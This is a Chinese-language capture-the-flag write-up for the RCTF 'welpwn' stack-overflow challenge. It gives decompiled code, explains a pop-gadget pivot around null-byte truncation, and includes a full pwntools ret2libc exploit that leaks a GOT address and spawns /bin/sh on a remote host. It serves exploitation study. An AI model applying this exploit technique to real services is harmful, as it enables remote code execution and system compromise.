64位程序
程序逻辑
1 int __cdecl main(int argc, const char **argv, const char **envp) 2 { 3 char buf; // [rsp+0h] [rbp-400h] 4 5 write(1, "Welcome to RCTF\n", 0x10uLL); 6 fflush(_bss_start); 7 read(0, &buf, 0x400uLL); 8 echo((__int64)&buf); 9 return 0; 10 } 11 12 int __fastcall echo(__int64 a1) 13 { 14 char s2[16]; // [rsp+10h] [rbp-10h] 15 16 for ( i = 0; *(_BYTE *)(i + a1); ++i ) 17 s2[i] = *(_BYTE *)(i + a1); 18 s2[i] = 0; 19 if ( !strcmp("ROIS", s2) ) 20 { 21 printf("RCTF{Welcome}", s2); 22 puts(" is not flag"); 23 } 24 return printf("%s", s2); 25 }
read最多0x400字节,echo会将这些字节拷贝到s2数组中,超过0x18字节即会覆盖返回地址。
利用思路
由于echo拷贝时,会被\x00截断,所以不能连续覆盖多个地址来rop,
在echo函数ret处下断点,调试可以发现echo返回地址下方即为read时的buf处
所以可以覆盖返回地址为pop pop pop pop ret指令地址,返回时弹出0x18个填充字节和返回地址,返回到buf+0x20处
在buf+0x20处构造rop,先泄露libc基地址,返回到start
重新执行,输入使之执行system('/bin/sh')
下次遇到栈溢出题目一定要多调试,注意栈的结构。
exploit
1 from pwn import * 2 #sh=process('./welpwn') 3 sh=remote('111.198.29.45',47606) 4 elf=ELF('./welpwn') 5 #libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') 6 libc=ELF('./libc64-2.19.so') 7 poprdi_ret=0x4008a3 8 pop4_ret=0x40089c 9 puts_plt=elf.plt['puts'] 10 write_got=elf.got['write'] 11 start=0x400630 12 sh.recvuntil('Welcome to RCTF\n') 13 payload='a'*0x10+'b'*8+p64(pop4_ret) 14 payload+=p64(poprdi_ret)+p64(write_got)+p64(puts_plt)+p64(start) 15 sh.send(payload) 16 sh.recvuntil('a'*0x10+'b'*8) 17 sh.recv(3) 18 write_adr=u64(sh.recv(6).ljust(8,'\x00')) 19 print 'write_adr: '+hex(write_adr) 20 #libc_base=write_adr-libc.symbols['write'] 21 libc_base=write_adr-0x0f72b0 22 print 'libc_base: '+hex(libc_base) 23 system_adr=libc_base+0x045390 24 binsh_adr=libc_base+0x18cd57 25 ''' 26 system_adr=libc_base+libc.symbols['system'] 27 binsh_adr=libc_base+libc.search('/bin/sh\x00').next() 28 sh.recvuntil('Welcome to RCTF\n') 29 ''' 30 payload='a'*0x10+'b'*8+p64(pop4_ret) 31 payload+=p64(poprdi_ret)+p64(binsh_adr)+p64(system_adr) 32 sh.send(payload) 33 sh.interactive()